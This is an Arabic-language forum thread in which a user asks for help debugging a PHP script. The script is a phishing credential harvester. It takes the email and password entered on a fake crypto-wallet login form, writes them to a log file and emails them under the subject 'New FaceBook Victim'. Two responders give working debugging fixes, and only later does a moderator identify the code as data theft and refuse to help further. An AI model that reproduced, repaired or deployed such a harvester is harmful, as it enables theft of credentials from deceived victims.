اذهب إلى المحتوى
  • 0

مشكلة بقراءة المعاملات من على POST_$ في PHP

Abdallah Mohamed22

السؤال

ايه المشكلة فى الكود دا

انا عنيا اتحولت


<?php



$date = gmdate ("d-n-Y");

$time = gmdate ("H:i:s");

$ip = $_SERVER['REMOTE_ADDR'];

$hostname = gethostbyaddr($ip);

$message .= "========== Facebook Login ==========\n";

$message .= "User: ".$_POST['email']."\n";

$message .= "Pass: ".$_POST['username']."\n";

$message .= "Pass: ".$_POST['password']."\n";

$message .= "----------\n";

$message .= "IP: ".$ip."\n";

$message .= "Log : $time / $date \n";

$rnessage = "$message\n";

$send= "الاميل المستلم";

$subject = "New FaceBook Victim | $ip";

$headers = "From: FaceBook";

$file = fopen("logs.txt","ab");

fwrite($file,$message);

fclose($file);



$str=array($send, $IWP); foreach ($str as $send)

if(mail($send,$subject,$rnessage,$headers) != false)

{

mail($Send,$subject,$rnessage,$headers);

}







?>

p_2793rc1sv1.png

Shot010.png.a24dd2368f06a382afc600822c7dcaf8.pngShot009.png.437100d44cbe1db313a5f8257b57784f.pngShot008.png.8fa85886f85cd175424d8473f873ad7b.png

رابط هذا التعليق
شارك على الشبكات الإجتماعية

Recommended Posts

  • 0

يبدوا أنه لا يتم التقاط المعاملات username / password / email من على الاستمارة من خلال POST_$. 

عموما، هاته المشكلة قد تتعدد أسبابها، اذ يحتمل أن يكون هنالك مشكلة إما في إرسال البيانات من على العميل أو في استقبالها من الخادم، جرب حقن السطر التالي وانظر النتيجة:

$message .= "User: ".$_POST['email']."\n";

$message .= "Pass: ".$_POST['username']."\n";

$message .= "Pass: ".$_POST['password']."\n";

echo $message;

أو: 


foreach ($_POST as $key => $value) {
    echo "Parameter name: $key, Value: $value<br>";
}

هل تظهر المعاملات بشكل عادي؟

في حالة لم يكن ذلك، تأكد من الاستمارة form التي تقوم بإرسال البيانات منها.

رابط هذا التعليق
شارك على الشبكات الإجتماعية

  • 0

في الكود الخاص بالنموذج لديك لا أرى أن الزر الخاص بإرسال البيانات موجود حاول إضافته والتجربة كالتالي:

<form method="post" action="index.php">
    <!-- مدخلات النموذج -->
    <input type="text" name="email">
    <input type="text" name="username">
    <input type="password" name="password">
    <input type="submit" value="Submit">
</form>

لاحظ إضافة زر submit.

أيضًأ أنت تحاول إضافة قيمة إلى متغير message باستخدام العملية المختصرة .=. ولكن إذا لم يكن المتغير message قد تم تعريفه بشكل صحيح قبل السطر، سيحدث خطأ "يجب تعريف المتغير قبل ربطه".

لذا، قم بتعريف المتغير message قبل استخدامه:

$message = ""; // تعريف المتغير message وتهيئته بقيمة ابتدائية فارغة

$message .= "User: ".$_POST['email']."\n";
$message .= "Pass: ".$_POST['username']."\n";
$message .= "Pass: ".$_POST['password']."\n";
$message .= "----------\n";
$message .= "IP: ".$ip."\n";
$message .= "Log : $time / $date \n";

أيضًا أنت تستخدم متغير باسم $IWP ولم تقم بتعريفه في الكود.

رابط هذا التعليق
شارك على الشبكات الإجتماعية

  • 0

لم ينجح اى حل من هذا اخوتى الافاضل 

بتاريخ 17 ساعة قال Adnane Kadri:

يبدوا أنه لا يتم التقاط المعاملات username / password / email من على الاستمارة من خلال POST_$. 

عموما، هاته المشكلة قد تتعدد أسبابها، اذ يحتمل أن يكون هنالك مشكلة إما في إرسال البيانات من على العميل أو في استقبالها من الخادم، جرب حقن السطر التالي وانظر النتيجة:

$message .= "User: ".$_POST['email']."\n";

$message .= "Pass: ".$_POST['username']."\n";

$message .= "Pass: ".$_POST['password']."\n";

echo $message;

أو: 


foreach ($_POST as $key => $value) {
    echo "Parameter name: $key, Value: $value<br>";
}

هل تظهر المعاملات بشكل عادي؟

في حالة لم يكن ذلك، تأكد من الاستمارة form التي تقوم بإرسال البيانات منها.

  كود html

<div id="openLogin">

    <form  class="form-signin" role="form" action="javascript:;">

    
        <p>Use the form below to open a wallet and begin using this service.</p>

    
        <div class="alert alert-warning">
            <b>Notice</b>: Different email address and password combination will open different wallets, be careful when entering your details as lost accounts can not be recovered!                           
                         </div>
    
        <form method="POST" action="index.php">


        
            <input name="email" id="openEmail" type="email" class="form-control" placeholder="Email address" required autofocus>
            <input name="username" id="openPass" type="password" class="form-control" placeholder="Password" required>
            <input name="password" id="openPassConfirm" type="password" class="form-control" placeholder="Password confirm" required>                                         </form>
    
        <br>
        <div>
        
            <a href="javascript:;" class="optionsCollapse">
                <div class="well well-sm"><span class="glyphicon glyphicon-collapse-down" id="glyphcollapse"></span> Advanced Options</div>
            </a>
        
            <div class="hidden optionsAdvanced">
            
                <label>Segregated Witness Address</label>
            
                <p class="checkbox">
                
                    <label>
                        <input type="checkbox" id="walletSegwit" class="checkbox-inline" checked> Use a segwit address instead of a regular address. <span class="text-muted"><i>(recommended)</i></span>
                    </label>
                    <br>
                    <label>
                        <input type="radio" id="walletSegwitp2sh" class="walletSegwitType" name="walletSegWitType" value="p2sh" checked> p2sh address</label>
                    <br>
                    <label>
                        <input type="radio" id="walletSegwitBech32" class="walletSegwitType" name="walletSegWitType" value="bech32"> bech32 address</label>
                    </p>

            
                <label>Enable Replace by Fee (RBF)</label>
            
                <p class="checkbox">
                
                    <label>
                        <input type="checkbox" id="walletRBF" class="checkbox-inline" checked> Enable RBF on all transactions, allowing you to manually raise the transaction fee later if required. <span class="text-muted"><i>(recommended)</i></span>
                    </label>
                    </p>
                </div>
            </div>

    
        <div id="openLoginStatus" class="alert alert-danger hidden"></div>
    
        <button id="openBtn" class="btn btn-primary" type="submit"  action="javascript:;">Submit</button>
        </form>        
</div>
تم التعديل في بواسطة Mustafa Suleiman
تنسيق الكود
رابط هذا التعليق
شارك على الشبكات الإجتماعية

  • 0
بتاريخ 6 ساعة قال Abdallah Mohamed22:

لم ينجح اى حل من هذا اخوتى الافاضل 

  كود html

<div id="openLogin">

    <form  class="form-signin" role="form" action="javascript:;">

    
        <p>Use the form below to open a wallet and begin using this service.</p>

    
        <div class="alert alert-warning">
            <b>Notice</b>: Different email address and password combination will open different wallets, be careful when entering your details as lost accounts can not be recovered!                           
                         </div>
    
        <form method="POST" action="index.php">


        
            <input name="email" id="openEmail" type="email" class="form-control" placeholder="Email address" required autofocus>
            <input name="username" id="openPass" type="password" class="form-control" placeholder="Password" required>
            <input name="password" id="openPassConfirm" type="password" class="form-control" placeholder="Password confirm" required>                                         </form>
    
        <br>
        <div>
        
            <a href="javascript:;" class="optionsCollapse">
                <div class="well well-sm"><span class="glyphicon glyphicon-collapse-down" id="glyphcollapse"></span> Advanced Options</div>
            </a>
        
            <div class="hidden optionsAdvanced">
            
                <label>Segregated Witness Address</label>
            
                <p class="checkbox">
                
                    <label>
                        <input type="checkbox" id="walletSegwit" class="checkbox-inline" checked> Use a segwit address instead of a regular address. <span class="text-muted"><i>(recommended)</i></span>
                    </label>
                    <br>
                    <label>
                        <input type="radio" id="walletSegwitp2sh" class="walletSegwitType" name="walletSegWitType" value="p2sh" checked> p2sh address</label>
                    <br>
                    <label>
                        <input type="radio" id="walletSegwitBech32" class="walletSegwitType" name="walletSegWitType" value="bech32"> bech32 address</label>
                    </p>

            
                <label>Enable Replace by Fee (RBF)</label>
            
                <p class="checkbox">
                
                    <label>
                        <input type="checkbox" id="walletRBF" class="checkbox-inline" checked> Enable RBF on all transactions, allowing you to manually raise the transaction fee later if required. <span class="text-muted"><i>(recommended)</i></span>
                    </label>
                    </p>
                </div>
            </div>

    
        <div id="openLoginStatus" class="alert alert-danger hidden"></div>
    
        <button id="openBtn" class="btn btn-primary" type="submit"  action="javascript:;">Submit</button>
        </form>        
</div>

تابع الإجابة على سؤالك هنا، وفي حال استمرت المشكلة أخبرني:

 

رابط هذا التعليق
شارك على الشبكات الإجتماعية

  • 0
بتاريخ 57 دقائق مضت قال Mustafa Suleiman:

تابع الإجابة على سؤالك هنا، وفي حال استمرت المشكلة أخبرني:

 

لم ينجح ايضا هل من الممكن ان تساعدنى انا بعتلك كل شئ خاص

 

رابط هذا التعليق
شارك على الشبكات الإجتماعية

  • 0
بتاريخ 3 ساعة قال Abdallah Mohamed22:

لم ينجح ايضا هل من الممكن ان تساعدنى انا بعتلك كل شئ خاص

 

الكود الخاص بك هو خاص بسرقة بيانات أشخاص وخداعهم بأن الصفحة خاصة بالعملات الإلكترونية أو ما شابه، لا يمكن مساعدتك بخصوص تلك الأمور، إذا كنت تريد التدرب وإنشاء المشاريع فعليك بالبحث عن مشروع مناسب.

أرجو عدم نشر سؤال آخر يتعلق بمثل تلك الأمور وشكرًا لتفهمك.

رابط هذا التعليق
شارك على الشبكات الإجتماعية

  • 0
بتاريخ 1 دقيقة مضت قال Mustafa Suleiman:

الكود الخاص بك هو خاص بسرقة بيانات أشخاص وخداعهم بأن الصفحة خاصة بالعملات الإلكترونية أو ما شابه، لا يمكن مساعدتك بخصوص تلك الأمور، إذا كنت تريد التدرب وإنشاء المشاريع فعليك بالبحث عن مشروع مناسب.

أرجو عدم نشر سؤال آخر يتعلق بمثل تلك الأمور وشكرًا لتفهمك.

اعوذو بالله اخى حد الله بينى وبين هذا الكلام 

رابط هذا التعليق
شارك على الشبكات الإجتماعية

انضم إلى النقاش

يمكنك أن تنشر الآن وتسجل لاحقًا. إذا كان لديك حساب، فسجل الدخول الآن لتنشر باسم حسابك.

زائر
أجب على هذا السؤال...

×   لقد أضفت محتوى بخط أو تنسيق مختلف.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   جرى استعادة المحتوى السابق..   امسح المحرر

×   You cannot paste images directly. Upload or insert images from URL.

  • إعلانات

  • تابعنا على



×
×
  • أضف...